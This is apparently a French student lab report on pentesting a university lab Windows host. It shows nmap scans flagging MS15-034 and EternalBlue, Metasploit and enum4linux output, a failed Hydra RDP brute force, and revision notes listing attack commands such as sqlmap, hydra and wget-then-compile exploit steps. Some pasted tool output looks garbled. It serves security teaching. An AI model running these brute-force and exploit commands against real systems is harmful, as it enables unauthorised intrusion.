

ciszak Lisa-Marie
Varnier Alexis

TP2- SAE CYBER 04

172.31.25.222

Site Web port 80

```
(kali㉿kali)-[~]  
$ nmap 172.31.25.222  
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-05 07:41 EST  
Nmap scan report for WIN-ASB3D31VTT6.EDU.UA (172.31.25.222)  
Host is up (0.0056s latency).  
Not shown: 994 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
80/tcp    open  http  
135/tcp   open  msrpc  
445/tcp   open  microsoft-ds  
3389/tcp  open  ms-wbt-server  
49154/tcp open  unknown  
  
Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds
```

Le site est vulnérable : nmap -p 80 --script=http-vuln* 172.31.25.222

```
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-05 10:17 EST  
Nmap scan report for WIN-ASB3D31VTT6.EDU.UA (172.31.25.222)  
Host is up (0.0054s latency).  
  
PORT      STATE SERVICE  
80/tcp    open  http  
| http-vuln-cve2015-1635:  
|   VULNERABLE:  
|   Remote Code Execution in HTTP.sys (MS15-034)  
|   State: VULNERABLE  
|   IDs: CVE:CVE-2015-1635  
|   A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is  
|   caused when HTTP.sys improperly parses specially crafted HTTP requests. An attacker who  
|   successfully exploited this vulnerability could execute arbitrary code in the context of the System account.  
|  
|   Disclosure date: 2015-04-14  
|   References:  
|   https://technet.microsoft.com/en-us/library/security/ms15-034.aspx  
|_  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635  
  
Nmap done: 1 IP address (1 host up) scanned in 6.30 seconds  
  
(kali㉿kali)-[~]  
$
```

ciszak Lisa-Marie
Varnier Alexis

```
msf6 auxiliary(> use auxiliary/scanner/http/nc15_http_sys_wmem?
y_dump
msf6 auxiliary(> use auxiliary/scanner/http/nc15_http_sys_wmem? > set RHOST 172.31.25.222
RHOST => 172.31.25.222
msf6 auxiliary(> use auxiliary/scanner/http/nc15_http_sys_wmem? > set RPORT 80
RPORT => 80
msf6 auxiliary(> use auxiliary/scanner/http/nc15_http_sys_wmem? > run

[*] Target may be vulnerable...
[*] Stand by...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Le scan a détecté une vulnérabilité **CVE-2015-1635** sur le port 80, qui concerne une **exécution de code à distance** dans le **HTTP.sys**

Si la commande ne fonctionne pas
`nmap -p 21 --script ftp-vsftpd-backdoor 172.31.25.222`

ciszak Lisa-Marie
Varnier Alexis

les versions:

```
(root@kali) ~ # nmap -Pn 21 -sv 172.31.25.222

Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-05 07:58 EST
Nmap scan report for 21 (0.0.0.21)
Host is up.
All 1000 scanned ports on 21 (0.0.0.21) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Nmap scan report for WIN-4583D31VTT6.EOU.UA (172.31.25.222)
Host is up (0.8042s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
80/tcp    open  http         Microsoft IIS httpd 7.5
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  closed ms-wbt-server
49154/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 74.32 seconds
```

└─# nmap --script vuln -p 21,80,135,445,3389,49154 172.31.25.222

Partage SMB vulnérable sur le PORT 445:

nmap --script smb-vuln* -p 445 172.31.25.222

```
File Actions Edit View Help
(root@kali) ~ # nmap -Pn --script smb-vuln* -p 445 172.31.25.222
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 14:10 CET
Nmap scan report for iutb-etu-gtr-25-222.univ-artois.fr (172.31.25.222)
Host is up (0.0086s latency).

PORT      STATE SERVICE
445/tcp   open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|       State: VULNERABLE
|       IDs: CVE:CVE-2017-0143
|       Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/03/12/customer-guidance-for-wannacrypt-attacks/
|_ smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms10-054: false
```

Trouver après l'analyse du nmap via un commande fournit par ChatGPT

ciszak Lisa-Marie
Varnier Alexis

VUlneraliter Ethernablue MS017_010

faile on connaît les noms des users et les mdp non hashe

```
[root@kali:~]# ./enumlinux -a 172.31.25.222
Starting enumlinux v0.9.1 ( http://labs.portcullis.co.uk/application/enumlinux/ ) on Wed Feb  5 09:54:51 2025.

----- ( Target Information ) -----

Target ..... 172.31.25.222
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, bobigt, domain admin, root, bin, none
```

hydra -t 4 -V -l -l administrator -P /usr/share/wordlists/rockyou.txt.gz rdp://172.31.25.222

```
Hydra v9.1.2 (c) 2022 by van Haften/TSC & Denis Hecker - Please do not use in attacking or other serious applications, as the illegal portions of this are unbinding. Please do not use in any way.

Hydra (Linux) (c) 2022 by van Haften/TSC & Denis Hecker - Please do not use in attacking or other serious applications, as the illegal portions of this are unbinding. Please do not use in any way.

[INFO] You have 4 tasks per 1 server, 4 tasks, 1600000 login tries (1.1e6/1600000), ~160000 tries per task.
[INFO] ATTACKING via RDP (172.31.25.222:3389)
[ATTACK] target 172.31.25.222 - login: "administrator" - pass: "123456" - 1 of 160000 (0.06%) (RDP)
[ATTACK] target 172.31.25.222 - login: "administrator" - pass: "123456" - 2 of 160000 (0.12%) (RDP)
[ATTACK] target 172.31.25.222 - login: "administrator" - pass: "123456" - 3 of 160000 (0.18%) (RDP)
[ATTACK] target 172.31.25.222 - login: "administrator" - pass: "123456" - 4 of 160000 (0.25%) (RDP)
[INFO] Progress: The connection failed to establish.
[INFO] Progress: The connection failed to establish.
[INFO] Progress: The connection failed to establish.
[INFO] Progress: The connection failed to establish.
[INFO] all 4 connections failed due to many connection errors.
[INFO] Progress: 0 valid password found.
Hydra (Linux) (c) 2022 by van Haften/TSC & Denis Hecker - Please do not use in attacking or other serious applications, as the illegal portions of this are unbinding. Please do not use in any way.
```

Résumé pour le DS - Pentesting (SAE3.CYBER.04)

1. Introduction au Pentesting

- Objectif : Identifier les vulnérabilités d'un système, les exploiter de manière éthique et proposer des correctifs.
- Phases principales :
 1. **Engagement** : Cadre légal, contrats (NDA, MSA, SoW).
 2. **Reconnaissance** : Collecte d'informations passives et actives.
 3. **Découverte et analyse des vulnérabilités** : Scans, analyse CVSS.
 4. **Exploitation** : Exploitation des failles et élévation des privilèges.
 5. **Post-Exploitation** : Maintien de l'accès, déplacement latéral.
 6. **Rapport** : Documentation des vulnérabilités et recommandations.

2. Outils et Techniques

Reconnaissance & Scan de ports

- `netdiscover` : Découverte d'adresses IP.
- `nmap` : Scan de ports et services.
 - Ex : `nmap -sS -A <IP cible>`
 - Scan complet : `nmap -p- -A <IP cible>`
- `whois`, `dig`, `nslookup` : Recherche d'infos DNS.
- `theHarvester` : Recherche d'emails et sous-domaines.
- `Shodan` : Moteur de recherche pour services exposés.
- `FOCA` : Extraction de métadonnées de documents.

Exploitation des vulnérabilités

- **Injection SQL** : `sqlmap -u "<URL cible>" --dbs -level=3`
- **Faillies web** : `nikto -h <URL>`
- **Brute force SSH** : `hydra -l user -P wordlist.txt ssh://<IP>`
- **Exploitation Metasploit** :
 - Lancement : `msfconsole`
 - Scan SSH : `use auxiliary/scanner/ssh/ssh_login`
 - Exploitation : `exploit`
- **Attaque par dictionnaire** : `john --wordlist=rockyou.txt hash.txt`
- **Attaque réseau** : `ettercap`, `Wireshark`, `Bettercap`

Escalade de privilèges

- `uname -a` : Vérification de la version du kernel.
- `searchsploit <OS>` : Recherche de failles connues.
- `wget <exploit>` puis compilation :

- `gcc exploit.c -o shell`
- `chmod +x shell && ./shell`
- `sudo -l` : Vérification des droits sudo.
- **GTF0Bins** : Liste d'exécutables exploitables pour élévation de privilèges.

3. CVSS et Évaluation des Vulnérabilités

- **Score CVSS** : 0 (aucun risque) à 10 (critique).
- **Sites utiles** :
 - <https://nvd.nist.gov/> : Base de données CVE.
 - <https://www.exploit-db.com/> : Exploits publics.
 - <https://attack.mitre.org/> : Tactiques et techniques adverses.
 - <https://owasp.org/www-project-top-ten/> : Principales vulnérabilités web.

4. Recommandations

1. **Mise à jour régulière** des logiciels et OS.
2. **Configuration sécurisée** des services (ex: désactiver accès root SSH).
3. **Surveillance et logs** : Analyse des journaux de connexion.
4. **Renforcement des accès** : MFA, mots de passe robustes.
5. **Test régulier de sécurité** : Pentests internes et externes.
6. **Segmentation réseau** : Isolation des services critiques.
7. **Chiffrement** des communications : Utilisation de TLS/SSL.
8. **Audit et analyse de vulnérabilités** en continu.
9. **Formation des utilisateurs** aux bonnes pratiques en cybersécurité.